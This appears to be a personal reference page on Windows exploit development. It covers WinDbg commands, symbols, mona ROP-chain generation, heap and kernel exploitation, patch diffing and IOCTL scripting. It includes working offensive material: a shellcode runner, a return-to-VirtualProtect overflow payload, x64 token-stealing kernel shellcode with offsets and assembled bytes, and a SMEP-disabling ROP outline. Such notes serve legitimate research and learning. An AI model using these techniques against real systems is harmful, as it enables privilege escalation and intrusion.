Last changed: 20.07.2020
windows exploitation
------------------------------
| Hardware |
|----------------------------| - - - - - - - - - -
| HAL | 0xffffffffffffffff
| Kernel / Drivers |
| System Service Dispatcher | 0xffff800000000000
|----------------------------| - - - - - - - - - -
| ntdll.dll / win32u.dll | 0x000007fffffeffff
| System / User Processes |
------------------------------ 0x0000000000000000
basic windbg commands
show help
?
.help
.hh [command]
!help
breakpoints
bp <address> set breakpoint
bp /p $proc <address> set breakpoint for current process (kernel debugging)
bp <address> ".printf \"RAX: %p\\n\", rax;g"
bl list breakpoints
bc * clear breakpoints
running
(Ctrl-Break) break
g (F5) continue
gu step out
t (F11) step into
p (F10) step over
.restart
disassemble
u @eip L10 disassemble 10 lines
ub @eip L5 disassemble backwards
uf /c nt!IopLoadDriver disassemble function
registers and call stack
r show registers
r rax show rax value
r rax = 1 set rax value
.formats rax show rax in different formats
k stacktrace
kv stacktrace with args
show and edit data
db/dw/dd/dq <address/register>
dc <address/register> hexdump with ascii
dps <pointer> pointers with symbols
da/du <string_address> ascii/unicode strings
eb/ew/ed/eq <address> <value>
!address show memory map
dump memory to file
.writemem c:\dump poi(esp) L999999
windows symbols
manually download symbols
set _NT_SYMBOL_PATH=srv*c:\symbols*https://msdl.microsoft.com/download/symbols
symchk.exe c:\windows\system32\ntdll.dll
create manifest file for download
symchk.exe /om symbol_manifest.txt c:\windows\system32\ntdll.dll
symchk.exe /om symbol_manifest.txt /r c:\windows\system32
download symbols for manifest file
symchk.exe /im symbol_manifest.txt /s srv*C:\symbols\*https://msdl.microsoft.com/download/symbols
set symbol path
.sympath C:\symbols
.sympath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
.reload
resolving symbols
Windbg can look for the nearest symbols to a given address. If you only know a fraction of a function name you can use wildcards to search its location.
ln <address> nearest symbol
x nt!*write* resolve symbol
find WinMain()
with symbols
lm
x notepad!*main*
without symbols
You can find the WinMain
by looking at the initialization of the C Runtime.
u $exentry
There should be something like
sub rsp, 28h
call <Address_A> (=_security_init_cookie)
add rsp, 28h
jmp <Address_B> (=__mainCRTStartup)
If you disassemble the second address
uf <Address_B>
you should find the call to WinMain
by looking for something like this
mov r8, rax
mov r9d, ebx
xor edx, edx
lea rcx, __ImageBase
call WinMain
mona in windbg
The manual for mona
can be found on
corelan.be.
download and install
Python has to be installed.
Then download and unzip
pykd.zip.
Install vcredist_x86.exe
and copy pykd.pyd
to the x86\winext
folder of
windbg
.
cd "C:\Program Files (x86)\Common Files\Microsoft Shared\VC"
regsvr32 msdia90.dll
Finally download and copy
windbglib.py
and mona.py to the x86
folder of windbg
.
.load pykd.pyd
!py mona
show loaded modules
!py mona mod -o
!py mona noaslr
search for instructions
s 7c340000 l56000 94 c3
!py mona fw -m MSVCR71.dll -s "xchg eax,esp#ret"
generate rop chains
!py mona config -set workingfolder c:\Users\user\Desktop
!py mona rop -m MSVCR71.dll -cpb 003b
!py mona rop -m mshtml.dll -cp nonull -rva
This should generate the files rop.txt
, rop_chains.txt
,
rop_suggestions.txt
and stackpivot.txt
in the current folder.
shellcode32_test.c
#include <windows.h>
#include <memoryapi.h>
char code[] =
"\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09"
"\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03"
"\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04"
"\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3"
"\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68"
"\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65"
"\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68"
"\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68"
"\x48\x65\x6c\x6c\x8b\xcc\x57\x57\x51\x57\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c"
"\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd6\x57\xff\xd0";
void main(int argc, char** argv)
{
DWORD oldProtect;
void (*func)();
VirtualProtect(&code, sizeof(code), 0x40, &oldProtect);
func = (void(*)()) code;
(*func)();
}
crash analysis
set postmortem debugger
windbg.exe -I
To change the postmortem debugger back to Dr. Watson
change the value of
debugger
in
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug
to
drwtsn32 -p %ld -e %ld -g
find values in memory
s -a 0 L?80000000 "ascii string"
!address /f:Heap /c:"s -u %1 %2 \"unicode string\""
s -d 0 L?80000000/4 <32bit address>
return2kernel32
A similar exploit can be crafted for 32bit windows binaries. An example for
calling VirtualProtect
on the memory page with your shellcode could be
<NOP><SHELLCODE><PADDING><VIRTUALPROTECT ADDR><SHELLCODE ADDR><VIRTUALPROTECT PARAMS>
where the address of VirtualProtect
should overwrite the return
address.
python2.exe -c "print('\x90'*64 + '\xcc'*16 + 'A'*8 + '\x41\xf1\xcb\x75' + '\x0c\xe0\x65\x00'*2 + '\x00\x40\x00\x00' + '\x40\x00\x00\x00' + '\x0c\xc0\x65\x00' )" | /binary.exe
patch diffing
To find windows security patches you can search for the corresponging update in the Security Update Guide and download it from the Microsoft Update Catalog.
The .msu
file and the inner .cab
file can be extracted with expand
.
expand -F:* <some_update.msu> .
dir
expand -F:* <inner_file.cab> .
dir /s /b /ad *vuln_dll*
To apply a delta patch to a dll the python script delta_patch.py can be used.
python.exe delta_patch.py -i vuln.dll -o patched.dll .\r\vuln.dll .\f\vuln.dll
You can use BinDiff or
Diaphora to compare the two versions
in IDA Pro
.
heap exploitation
Windows process has its defaut process heap. Additional heaps can be created
with functions like HeapCreate()
. Every heap has 128 doubly linked free lists
for the size bin * 8 bytes
. Chunks larger than 1016 bytes are sorted from
small to large in bin 0
.
Further information can be found in
- Heap Overflow Exploitation on Windows 10 Explained
- Windows 10 Nt Heap Exploitation
- Windows 10 Segment Heap Internals
show heaps
!heap
!heap -s
dt _PEB @$peb ProcessHeaps
dq <process_heaps_addr>
dt _HEAP <heap_addr>
show chunks
!heap -a <heap_addr>
!heap -x <chunk_addr>
dt _HEAP_ENTRY <chunk_addr>
enable PageHeap
gflags /p /enable iexplore.exe
dt _dph_block_information <chunk_address> -20
!heap -p -a <chunk_address>
gflags /p /disable iexplore.exe
The PageHeapFlags will get stored in
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe
debug chunk allocations
ba r1 <chunk_address>-6 (=_HEAP_ENTRY.Flags)
ba r1 <chunk_address>-2 (=_HEAP_ENTRY.LFHFlags)
kernel exploitation
You can determine the version of the kernel with powershell.
Get-Item c:\windows\system32\ntoskrnl.exe | select VersionInfo | Format-List
kernel structures
The Vergilius Project offers a browsable collection of windows kernel structures.
Interesting structures are _EPROCESS
(starting with a _KPROCESS
structure),
_ETHREAD
(starting with a _KTHREAD
structure) and _KPCR
(ending with a
_KPRCB
structure).
syscalls
user32.dll -> win32u.dll -> win32k.sys
code execution
A common way to trigger the execution of your kernel shellcode is to overwrite
a function pointer in a virtual table (like HalDispatchTable
). As many of
these tables are watched by PatchGuard you should immediately repair your
modification afterwards.
kernel overwrite | usermode trigger |
---|---|
HalDispatchTable + 8 | NtQueryIntervalProfile(2, &some_ulong) |
token_stealing_shellcode_x64.txt
mov rax, qword gs:[0x188]
mov rax, qword [rax + 0xb8]
mov rcx, rax
mov rax, qword [rax + 0x2e8]
sub rax, 0x2e8
mov r9, qword [rax + 0x2e0]
cmp r9, 4
jne 0x13
mov rdx, qword [rax + 0x358]
mov qword [rcx + 0x358], rdx
ret
Depending on your Windows version you may have to adjust the offsets.
_KTHREAD.ApcState._KPROCESS //0xb8 (0x98 + 0x20)
_EPROCESS.UniqueProcessId //0x2e0
_EPROCESS.ActiveProcessLinks //0x2e8
_EPROCESS.Token //0x358
You can assemble the shellcode with rasm2
rasm2 -b 64 -f token_stealing_shellcode_x64.txt
658b0588010000488b80b80000004889c1488b80e8020000482de8020000488b88e00200004883f90475e8488b905803000048899158030000c3
disabling SMEP
If your shellcode lies in userspace memory and Supervisor Mode Execution Protection
or Supervisor Mode Access Prevention
is enabled you can try to
disable it by disabling the bits 20 and 21 in the CR4
register.
.formats cr4
You will need a rop chain doing something like this
pop rcx; ret
0x70678 # see link below
mov cr4, rcx; ret
call <shellcode>
See wikipedia for details
about the CR4
register.
sending IOCTLs with python
Information on IOCTL codes can be found on Microsofts pages about defining I/O Control Codes, CTL_CODE and specifying Device Types.
from ctypes import windll
DeviceIoControl = windll.kernel32.DeviceIoControl
CreateFileA = windll.kernel32.CreateFileA
CloseHandle = windll.kernel32.CloseHandle
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x00000003
FILE_SHARE_READ = 0x00000001
FILE_SHARE_WRITE = 0x00000002
FILE_ATTRIBUTE_NORMAL = 0x00000080
METHOD_BUFFERED = 0x00000000
FILE_ANY_ACCESS = 0x00000000
FILE_DEVICE_UNKNOWN = 0x00000022
MY_FUNCTION = 0x800
MY_IOCTL = (FILE_DEVICE_UNKNOWN << 16 ) | (MY_FUNCTION << 2) | METHOD_BUFFERED | FILE_ANY_ACCESS
device = b"\\??\\my_device"
input_buffer = b"my data..."
output_buffer = b"\0" * 0x100
hdev = CreateFileA(device, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, None)
DeviceIoControl(hdev, MY_IOCTL, input_buffer, len(input_buffer), output_buffer, len(output_buffer), None, None)
CloseHandle(hdev)
get base addresses with python
A process of at least medium integrity can use Psapi
to query driver base
addresses (including the kernel).
from ctypes import *
EnumDeviceDrivers = windll.psapi.EnumDeviceDrivers
GetDeviceDriverBaseNameA = windll.psapi.GetDeviceDriverBaseNameA
cb = c_ulonglong(0)
ImageBase= (c_ulonglong * cb.value)()
cbNeeded = c_ulonglong()
EnumDeviceDrivers(byref(ImageBase), cb, byref(cbNeeded))
cb = cbNeeded
ImageBase = (c_ulonglong * (cb.value))()
EnumDeviceDrivers(byref(ImageBase), cb, byref(cbNeeded))
base_dict = {}
for i in ImageBase:
name = b"\0" * 32 # longer names are truncated
GetDeviceDriverBaseNameA.argtypes = [c_ulonglong, c_char_p, c_ulonglong ]
GetDeviceDriverBaseNameA(i, name, 32)
print("0x%016X %s" % (i.value, name.rstrip('\0')))